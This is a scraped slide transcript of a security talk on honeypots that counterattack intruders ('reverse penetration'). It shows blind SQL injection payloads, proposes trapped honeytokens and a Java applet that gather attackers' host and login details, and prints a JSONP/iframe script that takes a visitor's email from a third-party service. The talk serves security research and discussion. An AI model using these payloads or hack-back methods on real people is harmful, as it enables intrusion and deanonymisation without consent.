Successfully reported this slideshow.
We use your LinkedIn profile and activity data to personalize ads and to show you more relevant ads. You can change your ad preferences anytime.

Alexey Sintsov. Honeypot that Can Bite: Reverse Penetration.


Published on

Published in: Technology
  • Be the first to comment

  • Be the first to like this

Alexey Sintsov. Honeypot that Can Bite: Reverse Penetration.

  2. 2. #WHOAMI• Senior Security Engineer at• Writer at• Ideology and co-organizer of• Co-Founder ofZeroNights
  3. 3. #DISCLAIMER• This story is not connected to my EMPLOYER• All LIVE data was got from Q2 2011 – Q3 2012• It was done only for research purposes.• All data was shared with NOBODY.• Thx to Alexey Tyurin (@antyurin)
  4. 4. #WHAT IS IT ABOUThoneypot• Attract attacker‟s attention (to HoneyPot)• Get patterns and actions from an attacker behaviorThen Operator can understand what kind of attacker wehave, what he can do in the future and etc. After that we canTake some „preventative‟ actions.Example 1. Bot search for PHP LFI bug in PMADef. actions:1) Do we have PMA?2) Are our PMA installation accessible fromthe Internet?3) Bug fixed?// but the same we can get from IDS…Example 2. SQLi attempt. Dumping hashes.Def. actions:1) What kind of SQLi he tried to exploit –let‟s check our web-apps forsame SQLi patterns2) Check hashes in our databases – is itsalted?Do we have hashes at all? (orplain text?)3) Check access to tables , is it possible toget access by using „web‟ account?
  5. 5. #WHAT IS IT ABOUTclassic…IDS AlertSQLi attempt in some .phpIs it vulnerable?What attackerdid?Log/trafficanalysisSrc analysis/manualvalidationWho is theattacker?- Was he looking forsomething special?- Is he going tocomeback?- How we should be prepared?Deploy the Incident Response Team© InfoSecReactionsBy @windsheep_
  6. 6. #WHOIS THE ATTACKERWhiteHats?
  7. 7. #WHOIS THE ATTACKERWhy?I do not care, main task – fix the bug!vs.It‟s interesting, I want to track him!
  8. 8. #WHOIS THE ATTACKERWho wants to know…• Enterprise- Who is hunting us like that?(oil‟s sector/big R&D)It is always good to know who has started this activity….Because if it is just kids, it is one thing,if government or competitors – another thing.• Government- Track cybercrimes- Track another government… cyber war, blah-blah-blah…- etc …
  9. 9. #WHOIS THE ATTACKERIDS/Logs• IP address - TOR/(chain of)Proxy/BOTnet• User-Agent - lolWe have sniffed got nothing…..
  10. 10. #HONEYPOTWhat I want?• Fast result: attack or false positive?• Is it a targeted attack? Or just a scan from botnet?• Is it a professional or kiddie• Decloaking the attacker• Track the attacker
  11. 11. #Offensive“The only real defence is active defence“© Mao Zedong• Hack your enemy first (aggressive)• Hack your enemy back (defensive)
  12. 12. #OffensiveNot new…AV/Security companies - to take down botnet:• Hacking C&C• Hacking chain of BOTs• Hacking Admin‟s workstation© Andrzej Dereszowski, SIGNAL 11, CONFIDence, 2010
  13. 13. #OffensiveWe can do more…“Replay back” – answer with the same exploit back to the source:• SSH Brute force attack- if the source has SSH service- replay with the same login/pass-- attacker has already changed password on pwned box• PHP/Perl/Ruby web attacks- if the source has HTTP service- replay back with same URI/payloadIt is against BOTs, and will not work against real attacker.
  14. 14. #OffensiveWWW• Is it (the attacker) HUMAN?• Is he using well-know application (browser/plugins)?• Can we EXPLOIT it?Classical ExploitPACK?
  15. 15. #HoneypotSkills?Bug  Vulnerability  Exploit  AttackCan be found automaticallySHOULD be found during manual testsSHOULD be executed by the attackerwith browser!Attacker’s level of skills• Low• Medium• High!• Dangerous, we aredoomed!!!11
  16. 16. #HoneypotTrap• DIRBuster attack, give them /admin/admin.phpBut what is the password?// We can detect bruteforce attacks…• /admin/help.php?id=1 <--SQL InjectionGet password for admin.php• Login with stolen password to /admin/admin.php• Attack complete!
  17. 17. #HoneypotBlind SQL Injection (SQLite)„ - 500 Error.This is a bug„/**/AND/**/ „1‟ /**/like„1‟--- 200.This is a vulnerability„union/**/select(CASE/**/WHEN/**/sqlite_version()like3.%THEN/**/select(1)from(lololo)ELSE‟BHEU13‟END)- 200/500.This is an exploitSkill-O-MeterAdditional to Skill-O-Metr• Filtered Symbols, like „space‟• WAF with small „holes‟• etc, like CTF tasks or hackquest…
  18. 18. #HoneypotAttack„union/**/select(CASE/**/WHEN(select/**/password/**/from/**/users/**/where/**/user=„admin‟and/**/password/**/like/‟a%‟)THEN/**/select(1)from(lololo)ELSE‟PHDays13‟END)SQLite supports triggers…
  19. 19. #Honeypot…can bite!• For each step we can get:o Human/automated attack (Skill-O-Meter)o The malicious intention of an attacker WhiteHat will finish after finding a SQLi vulnerability. He will not attemptto get access to forbidden part (admin.php)! Ok, ok… even if he got access to admin.php he do not try to get „secret.pdf‟ =)• On each step we can bite…o On „attack step‟ we can counterattack…
  20. 20. #CounterattackWhat we can?• Attack his browser/plugins• 1day/0day exploits• Social engineering• Evil Java applet/ActiveX (GUI for administration…)• Honeytokens• Attack his env. using a browser.• Third party services (web-mail/social networks/etc)• Local env. (localhost/dsl-router)
  21. 21. #Social EngineeringHoneytokens• PDF file with secret information (and with exploit…)• EXE file with secret application (fat client for SCADA…)• etc….
  22. 22. #Backdoor… ?No – “detective”• Get jpg/txt/doc files from FS• Get config files (VPN)• Get BSSIDs• Get network/domain configuration• Get traceroute to us• Get DNS to us• Get camera-shot, mic recording• etc…
  23. 23. #Target• Reverse DNS channel• ipconfig• tracert• Domain name• Login name• …• DO NOT COLLECT PERSONAL INFO• DO NOT GET ANY DATA FROM HDD• REMOTE CONTROL DISABLED
  24. 24. #ResultsGET requests logIt can be WEB proxy or TOR exit point…Data from attacker’s PC
  25. 25. #ResultsReal logins – second namesReal host-names and domainsReal ISP, IP addresses
  26. 26. #ResultsWrite-up about First DCG meeting in Russia…  Most technical Russian IT community…Comments…“ If someone wants invite: ‘ or 1=1– “
  27. 27. #Hello “Red May” 2011GET requests logNo success with SE or reverse penetration… I am lucky…
  28. 28. #UnexpectedGET requests logOne beautifulEx-USSR republic…Nothing special…Damn! Special-Super-Secret-Serviceof beautiful ex-USSR republic…Looks like „service‟ username, notpersonal… may be it was compromised?
  29. 29. #More drama… few hours latter, another intrusion to DCG web-site… from same ex-USSR republic, same city….… but another subnet… and again – “reverse penetration”Known nickname, you can Google him as know hacker form this ex-USSR republic..may be he is working for this Secret Service… or compromise this host and use as intermediate…
  30. 30. #Results• Whitehat‟s companies – have tested our Applet!• Independent whitehat researchers…• Backdoored government WS….• Script kiddies…
  31. 31. #ConclusionIt works!• We got real usernames of those who did not use VMware/and middle hosts• We got real source for those who use VMware/TOR/Proxy and did not use middle hosts• We got intermediate hosts, but we can detect it, end got• We got configured DNS server address• And we got it automatically…The same results possible for honeytoken/exploit-back techniques…SE: Attacker is not expecting back-attack!
  32. 32. #ButSome attackers are careful//@ahack_ru had known about Honeypot and Java applet and did not run it…but he was busted anyway!
  33. 33. #Can we attack 3rd party services?If user is authenticated on others servicesHoneyPotAttackerSocialNetwork• Attack begins• CSRF/XSS attack…• Callback with ID….• Proxy/TOR/VPN – it is not about network!• Works only vs. script-kiddies and whitehats
  34. 34. #Linkedin
  35. 35. #Yandex JSONP
  36. 36. JSONPHack 1: SSLHack 2: <iframesrc=“data:…By Egor Homakov
  37. 37. document.write("<iframe src=data:text/html,<html><body><script>var sss = document.createElement("script");sss.src=“";function PortalHeadlineJSONPCallback(objFromMail){var arr1=objFromMail["data"];var i = new Image();i.src = ""+arr1["email"];document.body.appendChild(i);};document.body.appendChild(sss);</script></body></html>>"); exploit
  38. 38. #Results
  39. 39. #ConclusionIt works!• We got real emails• We got real names• We can do correlation between two e-mail addressesand Java Applet response• And we got it automatically…
  40. 40. #ConclusionStats!• SQLi attacks - 484 (~1.2 years)• Applet strikes - 52 (~1.2 years)• Mail grabs - 16 (6 month)~ 17% success
  41. 41. #ConclusionPublic announcements ofDC RusFirstmeetingSecondmeetingSixth meetingannouncement,pre-Zeronights era
  42. 42. #ConclusionEverybody likes graphics =)
  43. 43. #MoarrrrrrrrrLocal env. can be attacked!• Anti DNS pinning / DNS rebinding• XXXSS by Samy Kamkar (Getting BSSIDs…)• CSRF/XSS on any local resources….• There can be million techniques and tricks for that…
  44. 44. #SE – Custom softwareAnti-CybercrimeLoginDetectfraud/hackattemptClassicActiveX/JavaBackdooredActiveX/JavaWork…Error/Meintance
  45. 45. #SE – Custom softwareGovernment level• SCADA• Army systems• FSB/KGB/CIA/MI6/…• etc..
  46. 46. #SE – Custom softwareНаши поделки?
  47. 47. #Conclusion• Counterattack can work…• Whitehats are LESS carful when testing something…• ????• Moral/Legal
  48. 48. @asintsov